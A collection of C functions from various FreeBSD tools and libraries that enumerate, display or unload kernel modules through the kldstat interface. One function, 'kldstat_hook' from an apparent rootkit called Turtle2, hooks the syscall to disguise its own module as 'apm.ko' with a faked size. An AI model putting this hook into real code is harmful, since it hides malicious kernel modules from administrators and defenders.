int kld_isloaded(const char *name) { struct kld_file_stat fstat; struct module_stat mstat; const char *ko; int fid, mid; for (fid = kldnext(0); fid > 0; fid = kldnext(fid)) { fstat.version = sizeof(fstat); if (kldstat(fid, &fstat) != 0) continue; /* check if the file name matches the supplied name */ if (strcmp(fstat.name, name) == 0) return (1); /* strip .ko and try again */ if ((ko = strstr(fstat.name, ".ko")) != NULL && strlen(name) == (size_t)(ko - fstat.name) && strncmp(fstat.name, name, ko - fstat.name) == 0) return (1); /* look for a matching module within the file */ for (mid = kldfirstmod(fid); mid > 0; mid = modfnext(mid)) { mstat.version = sizeof(mstat); if (modstat(mid, &mstat) != 0) continue; if (strcmp(mstat.name, name) == 0) return (1); } } return (0); }
/* * Get kernel items: first the kernel itself, then the loaded modules. */ static void swrun_OS_get_kinfo(void) { int fileid; struct swrun_entry *entry; struct kld_file_stat stat; for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) { stat.version = sizeof(struct kld_file_stat); if (kldstat(fileid, &stat) < 0) { syslog(LOG_ERR, "kldstat() failed: %m"); continue; } /* * kernel and kernel files (*.ko) will be indexed starting with * NO_PID + 1; NO_PID is PID_MAX + 1 thus it will be no risk to * overlap with real PIDs which are in range of 1 .. NO_PID */ entry = swrun_entry_find_by_index(NO_PID + 1 + stat.id); if (entry == NULL) { /* new entry - get memory for it */ entry = swrun_entry_create(NO_PID + 1 + stat.id); if (entry == NULL) continue; } entry->flags |= HR_SWRUN_FOUND; /* mark it as found */ kld_file_stat_to_swrun(&stat, entry); } }
static void printfile(int fileid, int verbose, int humanized) { struct kld_file_stat stat; int modid; char buf[5]; stat.version = sizeof(struct kld_file_stat); if (kldstat(fileid, &stat) < 0) { err(1, "can't stat file id %d", fileid); } else { if (humanized) { humanize_number(buf, sizeof(buf), stat.size, "", HN_AUTOSCALE, HN_DECIMAL | HN_NOSPACE); printf("%2d %4d %p %5s %s", stat.id, stat.refs, stat.address, buf, stat.name); } else { printf("%2d %4d %p %8zx %s", stat.id, stat.refs, stat.address, stat.size, stat.name); } } if (verbose) { printf(" (%s)\n", stat.pathname); printf("\tContains modules:\n"); printf("\t\tId Name\n"); for (modid = kldfirstmod(fileid); modid > 0; modid = modfnext(modid)) printmod(modid); } else printf("\n"); }
int virHostValidateBhyve(void) { int ret = 0; int fileid = 0; struct kld_file_stat stat; bool vmm_loaded = false, if_tap_loaded = false; bool if_bridge_loaded = false, nmdm_loaded = false; for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) { stat.version = sizeof(struct kld_file_stat); if (kldstat(fileid, &stat) < 0) continue; if (STREQ(stat.name, "vmm.ko")) vmm_loaded = true; else if (STREQ(stat.name, "if_tap.ko")) if_tap_loaded = true; else if (STREQ(stat.name, "if_bridge.ko")) if_bridge_loaded = true; else if (STREQ(stat.name, "nmdm.ko")) nmdm_loaded = true; } MODULE_STATUS_FAIL(vmm, "will not be able to start VMs"); MODULE_STATUS_WARN(if_tap, "networking will not work"); MODULE_STATUS_WARN(if_bridge, "bridged networking will not work"); MODULE_STATUS_WARN(nmdm, "nmdm console will not work"); return ret; }
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */ { int ret = kldstat(td,args); size_t fake_size = 24264; /* the size of apm.ko on my system */ if(strcmp(args->stat->name,MOD_NAME) == 0) { copyout(&fake_size,&args->stat->size,sizeof(fake_size)); copyout("apm.ko",args->stat->name,7); #if VERBOSE printf("Turtle2: blocking kldstat()\n"); #endif } return ret; }
int main( int argc, char** argv ) { struct kld_file_stat stat; int c, fileid, force, opt; char *filename; filename = NULL; opt = OPT_NULL; while ( ( c = getopt( argc, argv, "finv" ) ) != -1 ) { switch ( c ) { case 'f': opt |= OPT_FORCE; break; case 'i': opt |= OPT_ID; break; case 'n': break; case 'v': opt |= OPT_VERBOSE; break; default: usage(); } } argc -= optind; argv += optind; if ( argc == 0 ) usage(); while ( ( filename = *argv++ ) != NULL ) { if ( opt & OPT_ID ) { fileid = atoi( filename ); if ( fileid < 0 ) errx( EXIT_FAILURE, "Invalid ID %s", optarg ); } else { if ( ( fileid = kldfind( filename ) ) < 0 ) errx( EXIT_FAILURE, "can't find file %s", filename ); } if ( opt & OPT_VERBOSE ) { stat.version = sizeof( stat ); if ( kldstat( fileid, &stat ) < 0 ) err( EXIT_FAILURE, "can't stat file" ); (void) printf( "Unloading %s, id=%d\n", stat.name, fileid ); } if ( opt & OPT_FORCE ) force = LINKER_UNLOAD_FORCE; else force = LINKER_UNLOAD_NORMAL; if ( kldunloadf( fileid, force ) < 0 ) err( EXIT_FAILURE, "can't unload file" ); } return ( EXIT_SUCCESS ); }
/* * Get the linker file list using the kld interface. * Works with a live kernel only. */ void asf_kld() { struct kld_file_stat kfs; int fid = 0; /* indicates the beginning of the linker file list */ while ((fid = kldnext(fid)) != 0) { if (fid == -1) err(2, "kldnext"); kfs.version = sizeof(kfs); /* must be set for kldstat(2) */ /* Get info on this linker file */ if (kldstat(fid, &kfs) == -1) err(2, "kldstat"); if (strcmp(kfs.name, KERNFILE) == 0) continue; /* Add to our list of linker files */ kfile_add(kfs.name, kfs.address); } }
/* Code by orignal Author apart from mvprintw and FileID and other ncurses stuff*/ static void printstats(FileID, verbose) { struct kld_file_stat stat; stat.version = sizeof(struct kld_file_stat); if (kldstat(FileID, &stat) < 0) err(1, "can't stat file id %d", FileID); else mvwprintw(DLG, count, 2, "%2d %4d %p %-8zx %s",stat.id, stat.refs, stat.address, stat.size, stat.name); wmove(DLG, count, 2); count++; refresh(); wrefresh(DLG); }
/** * Update the information in this entry */ static void fetch_swrun_entry(struct swrun_entry *entry) { struct kinfo_proc *plist; int nproc; struct kld_file_stat stat; assert(entry != NULL); if (entry->index >= NO_PID + 1) { /* * kernel and kernel files (*.ko) will be indexed * starting with NO_PID + 1; NO_PID is PID_MAX + 1 * thus it will be no risk to overlap with real PIDs * which are in range of 1 .. NO_PID */ stat.version = sizeof(stat); if (kldstat(entry->index - NO_PID - 1, &stat) == -1) { /* * not found, it's gone. Mark it as invalid for now, it * will be removed from the list at next global refersh */ HRDBG("missing item with kid=%d", entry->index - NO_PID - 1); entry->status = (int32_t)SRS_INVALID; } else kld_file_stat_to_swrun(&stat, entry); } else { /* this is a process */ assert(hr_kd != NULL); plist = kvm_getprocs(hr_kd, KERN_PROC_PID, entry->index - 1, &nproc); if (plist == NULL || nproc != 1) { HRDBG("missing item with PID=%d", entry->index - 1); entry->status = (int32_t)SRS_INVALID; } else kinfo_proc_to_swrun_entry(plist, entry); } }
static void printfile(int fileid, int verbose) { struct kld_file_stat stat; int modid; stat.version = sizeof(struct kld_file_stat); if (kldstat(fileid, &stat) < 0) warn("can't stat file id %d", fileid); else printf("%2d %4d %p %-8jx %s\n", stat.id, stat.refs, stat.address, (uintmax_t)stat.size, stat.name); if (verbose) { printf("\tContains modules:\n"); printf("\t\tId Name\n"); for (modid = kldfirstmod(fileid); modid > 0; modid = modfnext(modid)) printmod(modid); } }
/* * Unload all the loaded modules and then refresh the module cache with the * latest list of loaded modules and their address ranges. */ void dtrace_update(dtrace_hdl_t *dtp) { dt_module_t *dmp; DIR *dirp; #if defined(__FreeBSD__) int fileid; #endif for (dmp = dt_list_next(&dtp->dt_modlist); dmp != NULL; dmp = dt_list_next(dmp)) dt_module_unload(dtp, dmp); #if defined(sun) /* * Open /system/object and attempt to create a libdtrace module for * each kernel module that is loaded on the current system. */ if (!(dtp->dt_oflags & DTRACE_O_NOSYS) && (dirp = opendir(OBJFS_ROOT)) != NULL) { struct dirent *dp; while ((dp = readdir(dirp)) != NULL) { if (dp->d_name[0] != '.') dt_module_update(dtp, dp->d_name); } (void) closedir(dirp); } #elif defined(__FreeBSD__) /* * Use FreeBSD's kernel loader interface to discover what kernel * modules are loaded and create a libdtrace module for each one. */ for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) { struct kld_file_stat k_stat; k_stat.version = sizeof(k_stat); if (kldstat(fileid, &k_stat) == 0) dt_module_update(dtp, &k_stat); } #endif /* * Look up all the macro identifiers and set di_id to the latest value. * This code collaborates with dt_lex.l on the use of di_id. We will * need to implement something fancier if we need to support non-ints. */ dt_idhash_lookup(dtp->dt_macros, "egid")->di_id = getegid(); dt_idhash_lookup(dtp->dt_macros, "euid")->di_id = geteuid(); dt_idhash_lookup(dtp->dt_macros, "gid")->di_id = getgid(); dt_idhash_lookup(dtp->dt_macros, "pid")->di_id = getpid(); dt_idhash_lookup(dtp->dt_macros, "pgid")->di_id = getpgid(0); dt_idhash_lookup(dtp->dt_macros, "ppid")->di_id = getppid(); #if defined(sun) dt_idhash_lookup(dtp->dt_macros, "projid")->di_id = getprojid(); #endif dt_idhash_lookup(dtp->dt_macros, "sid")->di_id = getsid(0); #if defined(sun) dt_idhash_lookup(dtp->dt_macros, "taskid")->di_id = gettaskid(); #endif dt_idhash_lookup(dtp->dt_macros, "uid")->di_id = getuid(); /* * Cache the pointers to the modules representing the base executable * and the run-time linker in the dtrace client handle. Note that on * x86 krtld is folded into unix, so if we don't find it, use unix * instead. */ dtp->dt_exec = dt_module_lookup_by_name(dtp, "genunix"); dtp->dt_rtld = dt_module_lookup_by_name(dtp, "krtld"); if (dtp->dt_rtld == NULL) dtp->dt_rtld = dt_module_lookup_by_name(dtp, "unix"); /* * If this is the first time we are initializing the module list, * remove the module for genunix from the module list and then move it * to the front of the module list. We do this so that type and symbol * queries encounter genunix and thereby optimize for the common case * in dtrace_lookup_by_name() and dtrace_lookup_by_type(), below. */ if (dtp->dt_exec != NULL && dtp->dt_cdefs == NULL && dtp->dt_ddefs == NULL) { dt_list_delete(&dtp->dt_modlist, dtp->dt_exec); dt_list_prepend(&dtp->dt_modlist, dtp->dt_exec); } }
/** * Invalidate entry. For KLDs we try to unload it, for processes we SIGKILL it. */ static int invalidate_swrun_entry(struct swrun_entry *entry, int commit) { struct kinfo_proc *plist; int nproc; struct kld_file_stat stat; assert(entry != NULL); if (entry->index >= NO_PID + 1) { /* this is a kernel item */ HRDBG("atempt to unload KLD %d", entry->index - NO_PID - 1); if (entry->index == SWOSIndex) { /* can't invalidate the kernel itself */ return (SNMP_ERR_NOT_WRITEABLE); } stat.version = sizeof(stat); if (kldstat(entry->index - NO_PID - 1, &stat) == -1) { /* * not found, it's gone. Mark it as invalid for now, it * will be removed from the list at next global * refresh */ HRDBG("missing item with kid=%d", entry->index - NO_PID - 1); entry->status = (int32_t)SRS_INVALID; return (SNMP_ERR_NOERROR); } /* * There is no way to try to unload a module. There seems * also no way to find out whether it is busy without unloading * it. We can assume that it is busy, if the reference count * is larger than 2, but if it is 1 nothing helps. */ if (!commit) { if (stat.refs > 1) return (SNMP_ERR_NOT_WRITEABLE); return (SNMP_ERR_NOERROR); } if (kldunload(stat.id) == -1) { syslog(LOG_ERR,"kldunload for %d/%s failed: %m", stat.id, stat.name); if (errno == EBUSY) return (SNMP_ERR_NOT_WRITEABLE); else return (SNMP_ERR_RES_UNAVAIL); } } else { /* this is a process */ assert(hr_kd != NULL); plist = kvm_getprocs(hr_kd, KERN_PROC_PID, entry->index - 1, &nproc); if (plist == NULL || nproc != 1) { HRDBG("missing item with PID=%d", entry->index - 1); entry->status = (int32_t)SRS_INVALID; return (SNMP_ERR_NOERROR); } if (IS_KERNPROC(plist)) { /* you don't want to do this */ return (SNMP_ERR_NOT_WRITEABLE); } if (kill(entry->index - 1, commit ? SIGKILL : 0) < 0) { syslog(LOG_ERR,"kill (%d, SIGKILL) failed: %m", entry->index - 1); if (errno == ESRCH) { /* race: just gone */ entry->status = (int32_t)SRS_INVALID; return (SNMP_ERR_NOERROR); } return (SNMP_ERR_GENERR); } } return (SNMP_ERR_NOERROR); }